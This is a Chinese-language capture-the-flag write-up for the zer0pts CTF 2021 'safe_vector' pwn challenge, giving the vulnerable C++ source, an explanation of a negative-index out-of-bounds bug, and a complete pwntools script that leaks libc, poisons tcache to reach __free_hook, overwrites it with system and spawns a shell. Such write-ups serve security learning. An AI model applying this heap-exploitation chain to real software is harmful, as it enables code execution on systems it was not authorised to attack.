zer0pts CTF 2021 safe_vector
题目提供了elf文件和libc库,以及源代码,源码如下:
#include <iostream> #include <vector> template<typename T> class safe_vector: public std::vector<T> { public: void wipe() { std::vector<T>::resize(0); std::vector<T>::shrink_to_fit(); } T& operator[](int index) { int size = std::vector<T>::size(); if (size == 0) { throw "index out of bounds"; } return std::vector<T>::operator[](index % size); } }; using namespace std; int menu() { int choice; cout << "1. push_back" << endl << "2. pop_back" << endl << "3. store" << endl << "4. load" << endl << "5. wipe" << endl << ">> "; cin >> choice; return choice; } int main() { safe_vector<uint32_t> arr; do { switch(menu()) { case 1: { int v; cout << "value: "; cin >> v; arr.push_back(v); break; } case 2: { arr.pop_back(); cout << "popped" << endl; break; } case 3: { int i, v; cout << "index: "; cin >> i; cout << "value: "; cin >> v; arr[i] = v; break; } case 4: { int i; cout << "index: "; cin >> i; cout << "value: " << arr[i] << endl; break; } case 5: { arr.wipe(); cout << "wiped" << endl; break; } default: return 0; } } while (cin.good()); return 0; } __attribute__((constructor)) void setup() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); }
检查一下保护机制:
看一下libc的版本:strings libc.so.6 | grep 'libc'
glibc-2.31,拥有tcache机制,但是限制好像要比glibc-2.27多
看题目名称,应该是vector有问题
测试发现,可以输入一个负数作为idx,这样就可以访问到不属于当前chunk的数据
但是由于这句代码:std::vector<T>::operator[](index % size);
使得idx会对size取余,也就意味着负数的绝对值,不能超过size
为了拿到libc地址,需要绕过tcache chunk,拿到 unsorted chunk
这样,我就采用了很笨的一种方法,vector会自动调整数组大小,如果当前chunk不足以添加新元素,会释放掉当前chunk,申请较大的chunk
于是我就添加1000个元素,那么理所当然的拿到了一大堆tcache,以及一个unsorted chunk:
size是1000,那么-1000以内的idx都可以访问,-513和-514可以拿到unsorted chunk的bk指针(__malloc_hook+0x70),这样就拿到libc地址
脚本如下:
for i in range(1000):push_back(i) show(-514) sh.recvuntil("value: ") libc_base=int(sh.recvline()[:-1]) show(-513) sh.recvuntil("value: ") libc_base+=int(sh.recvline()[:-1])*0x100000000 info(hex(libc_base)) libc_base-=(0x70+0x6f9b70) free_hook=libc_base+0x6fbe48 sys=libc_base+0x384ee0
拿到libc了,然后wipe(),清空vector,之后从0x20的chunk开始申请
继续利用这个负数id做文章,我们把原本的0x20的chunk的size域写为0x50,然后wipe(),把这个chunk给释放掉
这样就拿到了一个0x50的tcache chunk,等会再添加元素就会申请到它
可以利用它来编辑下方chunk的数据,因为原本这个chunk是0x20的,但现在它被当做0x50的chunk,所以多出来的0x30,实质上就是其他chunk的chunk头和chunk体
这样就可以编辑下一个chunk的fd指针,让它指向free_hook
脚本如下:
wipe() for i in range(3):push_back(i) edit(-2,0x51) wipe() for i in range(6):push_back(0) push_back(0x21) push_back(0) num=int(hex(free_hook)[-8:],16) info(hex(num)) if num*2>0x100000000:num-=0x100000000 info(hex(num)) push_back(num) push_back(int(hex(free_hook)[2:-8],16))
然后wipe(),从0x20的chunk开始申请,申请两次就能拿到free_hook了,注意现在添加的数据要为0,因为vector在更换chunk时会把它们拷贝到新的chunk,也就是__free__hook
现在可以编辑vector的内容,当前vector所在的空间就是__free_hook,那么在__free_hoo上写system,然后在新的chunk上写"sh"(0x6873)
脚本如下:
wipe() push_back(0) push_back(0) num=int(hex(sys)[-8:],16) info(hex(num)) if num*2>0x100000000:num-=0x100000000 info(hex(num)) edit(0,num) edit(1,int(hex(free_hook)[2:-8],16)) push_back(0) edit(0,0x6873)
完整的利用脚本如下:
#coding:utf-8 from pwn import * #context.log_level="debug" #sh=remote("pwn.ctf.zer0pts.com",9001) #libc=ELF("./libc.so.6") sh=process("./chall") #sh=gdb.debug("./chall") libc=ELF("./lib/libc.so.6") def push_back(value): sh.sendlineafter(">>","1") sh.sendlineafter("value",str(value)) def pop_back():sh.sendlineafter(">>","2") def edit(idx,value): sh.sendlineafter(">>","3") sh.sendlineafter("index",str(idx)) sh.sendlineafter("value",str(value)) def show(idx): sh.sendlineafter(">>","4") sh.sendlineafter("index",str(idx)) def wipe():sh.sendlineafter(">>","5") for i in range(1000):push_back(i) show(-514) sh.recvuntil("value: ") libc_base=int(sh.recvline()[:-1]) show(-513) sh.recvuntil("value: ") libc_base+=int(sh.recvline()[:-1])*0x100000000 libc_base-=(0x70+libc.sym['__malloc_hook']) free_hook=libc_base+libc.sym['__free_hook'] sys=libc_base+libc.sym['system'] info(hex(libc_base)) wipe() for i in range(3):push_back(i) edit(-2,0x51) wipe() for i in range(6):push_back(0) push_back(0x21) push_back(0) num=int(hex(free_hook)[-8:],16) info(hex(num)) if num*2>0x100000000:num-=0x100000000 info(hex(num)) push_back(num) push_back(int(hex(free_hook)[2:-8],16)) wipe() push_back(0) push_back(0) num=int(hex(sys)[-8:],16) info(hex(num)) if num*2>0x100000000:num-=0x100000000 info(hex(num)) edit(0,num) edit(1,int(hex(free_hook)[2:-8],16)) push_back(0) edit(0,0x6873) sh.interactive()